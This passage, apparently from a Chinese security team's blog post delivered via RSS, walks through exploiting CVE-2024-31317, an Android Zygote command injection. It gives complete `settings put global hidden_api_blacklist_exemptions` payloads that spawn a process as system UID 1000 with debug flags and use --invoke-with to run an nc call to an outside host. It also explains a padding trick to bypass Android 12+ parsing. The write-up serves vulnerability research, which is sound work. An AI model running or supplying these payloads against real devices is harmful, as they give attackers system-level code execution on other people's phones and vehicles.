Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031346" data-ratio="0.5333333333333333" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3a6ff7ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4WbpqVJ8PtqEeujrasicYeMgTicUic9ibrUkxyNFpziaeIBfdEiabR7hIYb9dRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">继续向上跟踪该函数的调用，可以看到从最开始读取</span><code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);letter-spacing: normal;text-align: start;">HIDDEN_API_BLACKLIST_EXEMPTIONS</code><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">值到后续所有传递并没有任何过滤操作，也就是说我们可能直接注入任意参数进去。</span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031347" data-ratio="0.33055555555555555" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a9cf0fd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4Wb6YjASwsLwhiaVZVdOxE2dtkXE7K37Y14dtIVBsZLJc9V7OBm2Wkc4pQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031348" data-ratio="0.42685185185185187" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=49e8f95b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4WbZo9kON1AOibrsX17ia1sDmkCB0lbkKh7LhobXW6MxzIreibQSia1hWRQTQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">那么很自然可以想到，我们只要有办法能够控制</span><code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);letter-spacing: normal;text-align: start;white-space: normal;">HIDDEN_API_BLACKLIST_EXEMPTIONS</code><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">的值即可注入我们的自定义参数。前面提到想设置该值我们需要</span><code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);letter-spacing: normal;text-align: start;white-space: normal;">WRITE_SECURE_SETTINGS</code><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">权限。ADB默认具备该权限，只需要通过系统自带的settings命令执行</span><code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);letter-spacing: normal;text-align: start;white-space: normal;">settings put global hidden_api_blacklist_exemptions command</code><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">即可。于是我们可以通过类似以下方式尝试注入一个新的进程</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">settings put global hidden_api_blacklist_exemptions &#34;LClass1;-&gt;method1(</span></code><code><span class="code-snippet_outer">8</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--runtime-args</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--setuid=1000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--setgid=1000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--nice-name=com.android.settings</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--app-data-dir=/data/user/0/com.android.settings</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--package-name=com.android.settings</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--seinfo=platform:system_app:targetSdkVersion=29:complete</span></span></code><code><span class="code-snippet_outer">android.app.ActivityThread&#34;</span></code></pre></section><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">但似乎这并不能满足我们的需求，依旧无法执行命令。通过分析发现invokeWith参数可以进命令执行。</span><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031349" data-ratio="0.6324074074074074" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ee60d3ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4Wbhu46hxqu1p8mHQU2xKdp8qcoTXNKogEHLRSevRMYHYT89OAdLBLbbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">那接下来就很简单了，我们只需构造类似以下命令即可</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">settings put global hidden_api_blacklist_exemptions &#34;LClass1;-&gt;method1(</span></code><code><span class="code-snippet_outer">6</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--runtime-args</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--setuid=1000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--setgid=1000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--invoke-with</span></span></code><code><span class="code-snippet_outer">nc 192.168.0.112 9981;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--seinfo=platform:system_app:targetSdkVersion=29:complete&#34;</span></span></code></pre></section><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">此时会发现并不能成功触发，查看logcat会发现返回以下信息，提示需要debug模式，那么我们该如何让其进入debug？</span><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031350" data-ratio="0.19444444444444445" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=82ac91ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4WbWrk2fo52sfdmGa2miaU0j8JMjEpFnHM7QY8yuwicIvDKFWic0R7sBvh5Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">继续查阅代码可知，启动时存在runtime-flags参数，用于配置debug属性。</span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031351" data-ratio="0.30277777777777776" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3b96963b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4WboUCiaq56Xmqz1biaVckUia3ibNcicDrh3jkCficGOLdAr3pwH7UxWoRpdERA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">可配置参数如下</span></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031352" data-ratio="0.6027777777777777" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cd5d6ab1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4WbA6GAwXSAhxJgGVVwcTuaC0BbTCIRcQqGwCS4AibALbPSAFyhGxnOdJQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">因此我们只需在启动时加上该参数，并将所有debug属性开启即可，修改后命令如下</span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">settings put global hidden_api_blacklist_exemptions &#34;LClass1;-&gt;method1(</span></code><code><span class="code-snippet_outer">7</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--runtime-args</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--setuid=1000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--setgid=1000</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--runtime-flags=43267</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--invoke-with</span></span></code><code><span class="code-snippet_outer">nc 192.168.0.112 9981;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">--seinfo=platform:system_app:targetSdkVersion=29:complete&#34;</span></span></code></pre></section><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);">执行后nc成功捕获到网络请求</span><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></span></span></span></p><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-imgfileid="100031353" data-ratio="0.23037974683544304" data-w="790" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ec0ff6e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvd5DPElvLxred3fRshH4WbefCjia6KvJWotAIgXVgzspVOK8evzblgBTnFKZXgeoHTSpQzl5KGbYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h3 style="font-size: 1.17em;margin-top: 1em;margin-bottom: 1em;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong>高版本下的利用</strong></span></h3><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">在Android 11及以下可以使用上述方法进行简单利用，但到了Android 12之后Google实现了一个快速路径的C++命令解析器，用于增强Zygote的Java命令解析器，并通过新类<code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">NativeCommandBuffer</code>来完成该任务。NativeCommandBuffer在解析完所有命令行后，会将后续的内容全部丢弃并重新从套接字读取下一个命令，也就是说当我们通过命令注入两个命令后他会丢弃我们注入的内容，导致注入无法发生。那么这里就需要一个方法来bypass掉第一次的read()调用，这里主要参考了原作者的方法，在末尾插入大量逗号， 使得<code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">maybeSetApiDenylistExemptions()</code> 在写入之后花费大量的时间进行循环来增加中间的时间间隔。这里的主要逻辑是因为<br/><code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">maybeSetApiDenylistExemptions()</code>会多次调用<code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">state.mZygoteOutputWriter.write()</code>但是这些调用没有直接映射到套接字写入，因为<code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">mZygoteOutputWriter</code>继承自<code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">BufferedWriter</code>它在写入底层传输之前会聚合内部缓冲区中的数据。这个机制提供了一种现成的方法来发出两个套接字的写入，并且它们之间存在适当的延迟。<br/><code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">BufferedWriter</code>的缓冲区大小为 8192字节 ，远小于 Zygote 的缓冲区。这里只需在插入注入的恶意命令之前将其填充到8192 字节，强制 <code style="font-family: Menlo, Monaco, Consolas, &#34;Lucida Console&#34;, &#34;Courier New&#34;, monospace;font-size: 14.4px;word-break: break-word;padding: 2px 4px;background-color: rgb(245, 245, 245);color: rgb(199, 37, 78);">BufferedWriter</code>先写入这些数据。</p><h3 style="font-size: 1.17em;margin-top: 1em;margin-bottom: 1em;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong>参考文章</strong></span></h3><ul style="margin-top: 1em;margin-bottom: 1em;padding-left: 40px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p><a href="https://blog.flanker017.me/the-new-mystique-bug-cve-2024-31317/" target="_blank">https://blog.flanker017.me/the-new-mystique-bug-cve-2024-31317/</a></p></li><li><p><a href="https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html" target="_blank">https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html</a></p></li></ul><h3 style="font-size: 1.17em;margin-top: 1em;margin-bottom: 1em;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong>写在最后</strong></span></h3><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">本来这个文章早就该写出来了，一直忙给忙忘了。另外铸网的时候用这个漏洞水了不少分，最近做一个测试的项目刚好是安卓车机于是想起来了这篇写一半的博客，赶紧趁着还能想起一点东西赶紧记录了下来。此外十分感谢在复现该漏洞的时候flanker大佬提供的帮助，帮我避免了大量的坑。</p><p style="margin-bottom: 0px;color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="color: rgb(51, 51, 51);font-family: Raleway, &#34;Microsoft Jhenghei&#34;, &#34;Microsoft Yahei&#34;, &#34;Helvetica Neue&#34;, HelveticaNeue, Arial, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"></span></p><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIxMDYyNTk3Nw==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/aFJv52grsibtyuHs5s5D92P4R4dMMKLFKKxoJxSZib8LicZ0rbPGiaOOQTK84h7N93JRkpQAKOcHkmMrS22RO2QkMw/0?wx_fmt=png" data-nickname="白帽100安全攻防实验室" data-alias="whitecap100_team" data-signature="分享技术文章，分享sao姿势，做点我们能做的事   官网：www.whitecap100.org  DC0571：defcon.whitecap100.org   白帽100团队" data-from="0" data-is_biz_ban="0" data-service_type="1"></mp-common-profile></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002088" data-ratio="0.287962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=7c89bb42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibtxsRYLCF9T0TS74iaL70g7e0NDX7pGnzdDpuI3YHSwwZnYDJ0xxeYOSdZlbWXQ86ibF54TSgfN5VKg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/fuhei/CVE-2024-31317">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c469db51&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515004%26idx%3D1%26sn%3D49ef9432fd64ba81064c5af61066efee%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 05 Dec 2024 11:30:00 +0800</pubDate>
    </item>
  </channel>
</rss>